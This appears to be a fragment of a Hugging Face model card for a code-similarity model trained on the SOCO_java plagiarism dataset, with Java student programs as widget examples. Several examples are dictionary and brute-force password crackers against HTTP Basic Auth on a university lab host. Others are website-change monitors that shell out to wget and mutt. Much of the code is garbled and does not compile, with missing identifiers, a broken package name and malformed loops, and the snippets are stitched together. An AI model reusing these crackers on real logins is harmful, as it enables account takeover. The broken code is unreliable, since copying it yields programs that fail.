System.out.println(args[num]);

		WatchDog w=new WatchDog(flag);
		String []u=new String[num];
		for(int i=0;i<u.length;i++)
			u[i]=args[i];
		w.startWatching(u,args[num]);
	}
}
, source_sentence: import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;




public class WatchDog{
   
   
   
   
   
   public static void main (String[] args) throws InterruptedException, IOException{

    
    String urlString = "http://www.cs.rmit.edu./students/";
    
  
    String mesg = "";
    
    boolean flag = false;
    
    InputStream rtemp;
    
    if (args.length == 2) {
      	
      	System.err.println (
      		
      		"Usage : java BruteForce <Host> <Mailhost> <Sending E-mail>");
      	return;
      	
     }
    
    
    
    BufferedReader rnew;
    
    BufferedReader rold = ReadFile (urlString);
    
    SaveFile("weblog",urlString); 
   
    Date lasttime  =  CheckTime(urlString);
    
   
    Date newtime = new Date();
    
    int i = 0; 
    
    System.out.println("......"); 
    
    
    while (true) {
    	
    	   	
    	newtime =  CheckTime(urlString);
    	
    	System.out.println ("Checking "+ new Date());
    	
    	if (newtime.toString().equals(lasttime.toString())==false) {
    		
    	
    	    rnew = ReadFile (urlString);
    	    	
    		    		
    		mesg = CompareFile(rold,rnew);
    		
     		
     		SaveFile("weblog",urlString);
     		
     		
     		rold = OpenFile ("weblog");
     		
 		
    		lasttime=newtime;
    		
    	    System.out.println("Sending message");
    	    
    	    SendMail(trimtag(mesg),args[0],args[1],args[2]); 
    	    
    	    System.out.println(trimtag(mesg));
    	
    	
    	} 
    	
    	Thread.sleep (24*3600*1000);  
   	}
    
    
    
    }

  
  
  private static BufferedReader ReadFile  (String urlString) throws IOException{
  	
  	                          
 
        URL url = new URL (urlString);

        
        HttpURLConnection uc = (HttpURLConnection) url.openConnection();
        
         
        InputStream in = (InputStream) uc.getInputStream();
         
        BufferedReader r = new BufferedReader (new InputStreamReader (in));
       
        
        
        return r;
      
        
   }

  

  private static BufferedReader OpenFile  (String FileName) throws IOException{
  	
        FileInputStream  in = new FileInputStream (FileName);
        
        InputStreamReader is= new InputStreamReader (in); 	                          
  
        BufferedReader r = new BufferedReader (is);
       
      
        return r;
        
        
      
        
   }


  
  
private static void SaveFile  (String FileName, String urlstring) throws IOException{
  	
  	    
  	String cmd = "wget -q "+urlstring+" -O "+ FileName ;
  	
  	
  	Runtime.getRuntime().exec(cmd); 
  	    
   }

  
  
  
   
  private static Date CheckTime (String urlString) throws IOException {
  	
  	    URL url = new URL (urlString);

        
        HttpURLConnection uc = (HttpURLConnection) url.openConnection();
        
        uc.setRequestMethod ("HEAD");
        
        return (new Date (uc.getLastModified()));
        
                
       
   } 
  
  
  
  private static String CompareFile (BufferedReader inold, BufferedReader innew) throws IOException{
  	
  	
  	
  	    Vector newF= new Vector ();
        Vector oldF= new Vector ();


        int old_count=0;
	 	int new_count=0;

	 	String line="";

        StringBuffer mesg = new StringBuffer ("NEW CONTENT : \n");

	 	int j;
        
      
       
	    while ((line=inold.readLine())!= null){

	 		  if (line.trim().length()!=0){
	 		  oldF.addElement(line);
	 		 
	 	
	 		  
	 		 }

	 		 }

	 	while ((line=innew.readLine()) != null){
	 		  if (line.trim().length()!=0){
	 		  newF.addElement(line);
	         }

	 		 }

	 	for (int i=0; i<newF.size();i++){

	 		 j=0;

	 		 while (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))==false){

	 		 	j++;
                
                if (j==oldF.size()) 
                {   j--;
                	break;
                 }
	 		 	}

            
             
	 		 if (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))){

                 newF.removeElementAt(i);
	 	         i--;
	 	         oldF.removeElementAt(j);


	 		 	}

	 	 	}



	 	for (int i=0; i<newF.size();i++){

	 	  mesg.append((String)(newF.elementAt(i)));
	 	  mesg.append("\n");
          }


	    mesg.append("OLD CONTENT: \n");

         for (int i=0; i<oldF.size();i++){

          mesg.append((String)oldF.elementAt(i));
          mesg.append("\n");
       
	 	}

     


	    return mesg.toString();



	 


}



private static void SendMail (String mesg, 
           String host,String mailhost, String sending ) throws IOException {
	
    String send_cmd = "";

	try {
		
		Socket s = new Socket (host, 25);
		
	    PrintStream os = new PrintStream (s.getOutputStream());
	    
        send_cmd = "HELO " + mailhost;
        
        os.print(send_cmd + "\r\n");
        
        send_cmd = "MAIL From : website@cs.rmit.edu.";
        
        os.print(send_cmd + "\r\n");
        
        send_cmd = "RCPT  : " + sending;
        
        os.print(send_cmd + "\r\n");
        
        send_cmd = "DATA";
        
        os.print(send_cmd + "\r\n");
        
        send_cmd = ("Subject: Website Change Notice");
        
        os.print(send_cmd + "\r\n");
        
        os.print("\r\n");
        
        os.print(mesg+"\r\r\n");
        
        os.print(".\r\n");
        
        os.print("QUIT");
        
  	
	} catch (IOException e) {
		System.out.println(e);
	}
	

	
  }


private static String trimtag (String mesg){
	
	String[] taglist = {"<a", "<A", "<applet ", "<APPLET", "<img ", "<IMG "}; 
	
	String subst = "";
	
	StringBuffer tempst= new StringBuffer();
	int j = 0;
	
	int i = 0;
	
	int m = 0;
	
	
	while (mesg.length()!=0) {
	   
	   m=0;
	   
	   i = mesg.indexOf("<");
	   
	   
	   if (i!=-1) {
	     
	     tempst.append(mesg.substring(0,i));
	     
	     	
	   } 
	   else {  	
	    tempst.append(mesg.substring(0));
	    break;
       }
	   
	   
	   j = mesg.indexOf(">"); 
	
	   
	   subst=mesg.substring(i,j+1); 
	 
	   while (subst.startsWith(taglist[m])==false) {
	   	
	   	m++;
	   	
	   	if (m==taglist.length) 
	   	
	   	{   m--;
	   		break;
	    }
	   	
	   	}	
	   
	   if (subst.startsWith(taglist[m])) tempst.append (subst);
	   
	   
	   mesg = mesg.substring(j+1);
	   
	   
	   }
	
	  return tempst.toString();
	  
	}




} 
sentences: 



import java.io.*;
import java.*;
import java.net.*;

public class Dictionary
{

   static BufferedReader in = null;
   static MyAuthenticator Auth = new MyAuthenticator();

 
   public static void main(String[] args) throws IOException
   {
      int tmp = 0;
      String str ="";
      Authenticator.setDefault(Auth);
 
      try
      {
         URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");

         
         
         while(tmp!=1)
         {
            try
            {
               in = new BufferedReader(new InputStreamReader(url.openStream()));
               tmp=1;
            }
            catch (IOException e) {}
            
         }         

         while ((str = in.readLine()) != null) 
         {
            
            
            
         }
         

         System.out.println("The successful Password found using a Dictionary search is = " + Auth.finalPass());

      } 
      catch (MalformedURLException e) 
         {System.out.println("mfURL");}
   }    


}

class MyAuthenticator extends Authenticator 
{
   String username = "";
   static String password = "";
   
   static String DictFile = "/usr/share/lib/dict/words";
   static BufferedReader fReader;

   public MyAuthenticator()
   {
      try
      {
          fReader = new BufferedReader
                            (new FileReader(DictFile));
      }
      catch (FileNotFoundException e)
      {
         System.out.println("File " +DictFile+ " Not Found");
         System.out.println(" File Opened");
         System.exit(1);
      }
      catch (IOException e)
      {
         System.out.println("File  Failed..");
         System.exit(1);
      }

   }

   static void setPass(String pswd)
   {
      password = pswd;
   }

   static String finalPass()
   {
      return password;
   }

   static String getPass()
   {
      try
      {
         if ((password = fReader.readLine()) == null)
         {
            System.out.println("Password Not found in file '" + DictFile +"'.");
            System.exit(1);
         }
      }
      catch (IOException ioe)
      {
         System.out.println("File IOException");
         System.out.println(ioe);
      }

      return password;
   }



   protected PasswordAuthentication getPasswordAuthentication() 
   { 
      
      return new PasswordAuthentication(username, getPass().toCharArray()); 

   } 
}
, 
import java.util.*;

public class CrackThread implements Runnable {

    private String strUsername;
    private String strURL;
    private int iSeed;
    private int iEnd;
    
    
    public CrackThread() {
    }
    
    public void setParams(String url, String username, int seed, int end) {
        strUsername = username;
        strURL = url;
        iSeed = seed;
        iEnd = end;
    }
    
    public void run() {
        Date dtStart, dtEnd;
        PasswordGen pwd = new PasswordGen();
        PasswordTest tester;
        int i=1;
        boolean bDone = false;
        Result res;

        dtStart = new Date();
        
        
        pwd.setSeed(iSeed);
        
        while(!bDone) {
            tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
        
            bDone = tester;
            i++;
            
            
            if(i % 100 == 0)
            {
                System.out.println(pwd.getPassword());
            }
            
            if(bDone) {
                
                res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
                System.out.print(res.toString());
            }
            else
            {
                
            }
            
            
            if( i >= iEnd) bDone = true;
        }    
    }
    
}
, 

import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;

public class Dictionary extends Frame implements ActionListener {

  private TextField tf = new TextField();
  private TextArea  ta = new TextArea();

  public void actionPerformed (ActionEvent e) {
	  String s = tf.getText();
	  String login="";
   try{
	  BufferedReader bufr = new BufferedReader
			(new FileReader ("words1.txt"));
	  String inputLine="";



	  if (s.length() != 0)
      {
		  inputLine = bufr.readLine();
		  while ((inputLine != null) && (inputLine.length() != 3))
		  {
			  
			  inputLine = bufr.readLine();
		  }

           login=":"+inputLine;
		   ta.setText (fetchURL (s,login));
		   System.out.println("runing"+login);
	   }while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error  URL")!=0);

	   System.out.println("The password is: "+inputLine);
}
catch(Exception ex){}

 }

  public Dictionary() {

    super ("URL11 Password");

    
     add (tf, BorderLayout.LEFT);
     ta.setEditable(false);
     add (ta, BorderLayout.CENTER);
     tf.addActionListener (this);
     addWindowListener (new WindowAdapter() {
       public void windowClosing (WindowEvent e) {
         dispose();
         System.exit(0);
       }
     });
   }

  private String fetchURL (String urlString,String login) {
     StringWriter sw = new StringWriter();
     PrintWriter  pw = new PrintWriter();

    try {
       URL url = new URL (urlString);

     
       MyAuthenticator  = new MyAuthenticator();
       

      
       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());

      
       

      
       URLConnection uc = url.openConnection();
       uc.setRequestProperty  ("Authorization", " " + encoding);
       InputStream content = (InputStream)uc.getInputStream();
       BufferedReader in   =
         new BufferedReader (new InputStreamReader (content));
       String line;
       while ((line = in.readLine()) != null) {
         pw.println (line);
       }
     } catch (MalformedURLException e) {
       pw.println ("Invalid URL");
     } catch (IOException e) {
       pw.println ("Error  URL");
     }
     return sw.toString();
   }


  public static void main (String args[]) {
     Frame f = new Dictionary();
     f.setSize(300, 300);
     f.setVisible (true);
   }

  class MyAuthenticator {
     String getPasswordAuthentication(Frame f, String prompt) {
       final Dialog jd = new Dialog (f, "Enter password", true);
       jd.setLayout (new GridLayout (0, 1));
       Label jl = new Label (prompt);
       jd.add (jl);
       TextField username = new TextField();
       username.setBackground (Color.lightGray);
       jd.add (username);
       TextField password = new TextField();
       password.setEchoChar ('*');
       password.setBackground (Color.lightGray);
       jd.add (password);
       Button jb = new Button ("OK");
       jd.add (jb);
       jb.addActionListener (new ActionListener() {
         public void actionPerformed (ActionEvent e) {
           jd.dispose();
         }
       });
       jd.pack();
       jd.setVisible(true);
      return username.getText() + ":" + password.getText();

     }
   }

}
      

     class  Base64Converter
      
      
      {

     public static final char [ ]  alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
        '4', '5', '6', '7', '8', '9', '+', '/' }; 

     
      

     public static String  encode ( String  s )
      
      {
        return encode ( s.getBytes ( ) );
      }

     public static String  encode ( byte [ ]  octetString )
      
      {
        int  bits24;
        int  bits6;

       char [ ]  out
          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];

       int outIndex = 0;
        int i        = 0;

       while ( ( i + 3 ) <= octetString.length )
        {
          
          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0000003F );
          out [ outIndex++ ] = alphabet [ bits6 ];
        }

       if ( octetString.length - i == 2 )
        {
          
          bits24  = ( octetString [ i     ] & 0xFF ) << 16;
          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '=';
        }
        else if ( octetString.length - i == 1 )
        {
          
          bits24 = ( octetString [ i ] & 0xFF ) << 16;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '=';
          out [ outIndex++ ] = '=';
        }

       return new String ( out );
      }

     
      
      }

, source_sentence: 
import java.util.*;
import java.io.*;
import java.net.*;

class BruteForce
{

 public static void main (String a[])
 {
 
 final char [] alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
        'w', 'x', 'y', 'z'};

 String pwd="";
 
 for(int i=0;i<52;i++)
 {
  for(int j=0;j<52;j++)
  {
   for(int k=0;k<52;k++)
   {
    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];
    String userPassword = ":"+pwd;
    RealThread myTh = new RealThread(i,userPassword);
    Thread th = new Thread( myTh );
    th.start();
    try
    {
     
     
     th.sleep(100);
    }
    catch(Exception e)
    {} 
   }
  }
 }


}


}


class RealThread implements Runnable
{
 private int num;
 private URL url;
 private HttpURLConnection uc =null;
 private String userPassword;
 private int responseCode = 100;
 public RealThread (int i, String userPassword)
 {
 try
 {
 url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
 }
 catch(Exception ex1)
 {
 }
 num = i;
 this.userPassword = userPassword;

 }
 
 public int getResponseCode()
 {

 return this.responseCode;
 }

 public void run()
 {
  try
  {
  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

  uc = (HttpURLConnection)url.openConnection();
  uc.setRequestProperty ("Authorization", " " + encoding);
  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);
  this.responseCode = uc.getResponseCode();
  
  if(uc.getResponseCode()==200)
  {
     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");
     System.exit(0);
  }

  }
  catch (Exception e) {
  System.out.println("Could not execute Thread "+num+" ");
  }
 }

}

sentences: 





import java.util.*;
import java.io.*;
import java.net.*;

public class Watchdog extends TimerTask
{
	public void run()
	{
		Runtime t = Runtime.getRuntime();
	  	Process pr= null;
	  	String Fmd5,Smd5,temp1;
	  	int index;
          
	 	try
          	{
		    
		    pr = t.exec("md5sum csfirst.html");

                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());
                    BufferedReader bread = new BufferedReader(stre);
		    
		    s = bread.readLine();
		    index = s.indexOf(' ');
		    Fmd5 = s.substring(0,index);
		    System.out.println(Fmd5);
		    
		    pr = null;
		    
		    pr = t.exec("wget http://www.cs.rmit.edu./students/");
		    pr = null;
		    
		    pr = t.exec("md5sum index.html");
		    

		    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());
                    BufferedReader bread1 = new BufferedReader(stre1);
		    
		    temp1 = bread1.readLine();
		    index = temp1.indexOf(' ');
		    Smd5 = temp1.substring(0,index);
		    System.out.println(Smd5);
		
		    pr = null;
		
		    if(Fmd5 == Smd5)
		       System.out.println("  changes Detected");
		    else
		    {
		       pr = t.exec("diff csfirst.html index.html > report.html");
		       pr = null;
		       
		       try{
		       Thread.sleep(10000);
		       }catch(Exception e){}
		       
		       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");
		     
		       
		       
		    }   
		    
    	        }catch(java.io.IOException e){}
	}
}		
, import java.net.*;
import java.io.*;
import java.util.*;

public class Dictionary {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      String file = "/usr/share/lib/dict/words";
      String word;
      char[] password = new char[MAX_LENGTH];
      String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";

      while (!auth) {
         
         BufferedReader in = null;
         try {
            
            in = new BufferedReader(new FileReader(file));
            while ((word = in.readLine()) != null && !auth) {
               try {
                  if (word.length() <= MAX_LENGTH) {
                     password = word.toCharArray();
                     
                     Authenticator.setDefault(new CrackAuth(password));
                     URL url = new URL(resource);
                     HttpURLConnection conn = (HttpURLConnection)url.openConnection();
                     conn.setRequestMethod("HEAD");
                     if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
                        System.out.println("cracked with " + new String(password));
                        auth = true;
                     }
                  }
               } catch (Exception e) {
                  System.out.println(" was  exception: " + e.getMessage());
               }
            }

         
         } catch (FileNotFoundException fnfe) {
            System.out.println("File Not Found");
         } catch (IOException ioe) {
            System.out.println("IOException");
         } catch(Exception e) {
            e.printStackTrace();
         } finally {
            try {
               in.close();
            } catch (Exception e) {;}
         }


      }
      if (!auth) {
         System.out.println("Unable  determine password");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = "";
      return new PasswordAuthentication(user, password);
   }
}
, import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Date;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.Message.RecipientType;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;




public class Mailsend
{
    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");
    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");
    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");
    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");


	

	public static void main(String args[])
	{
		try
		{
			
			String smtpServer = SMTP_SERVER;
			String recip = RECIPIENT_EMAIL;
			String from = SENDER_EMAIL;
			String subject = MESSAGE_HEADER;
			String body = "Testing";

			System.out.println("Started sending the message");
			Mailsend.send(smtpServer,recip , from, subject, body);
		}
		catch (Exception ex)
		{
			System.out.println(
				"Usage: java mailsend"
					+ " smtpServer toAddress fromAddress subjectText bodyText");
		}

		System.exit(0);
	}


	
	public static void send(String smtpServer, String receiver,	String from, String subject, String body)

	{
		try
		{
			Properties props = System.getProperties();

			

			props.put("mail.smtp.host", smtpServer);
			props.put("mail.smtp.timeout", "20000");
			props.put("mail.smtp.connectiontimeout", "20000");

			
			Session session = Session.getDefaultInstance(props, null);


			
			Message msg = new MimeMessage(session);

			
			msg.setFrom(new InternetAddress(from));
			msg.setRecipients(Message.RecipientType.NORMAL,	InternetAddress.parse(receiver, false));



			
			msg.setSubject(subject);

			msg.setSentDate(new Date());

			msg.setText(body);

			
			Transport.send(msg);

			System.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);

		}
		catch (Exception ex)
		{
			ex.printStackTrace();
		}
	}
}

datasets: buelfhood/SOCO_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 38
Created: 2025-06-09 12:09:11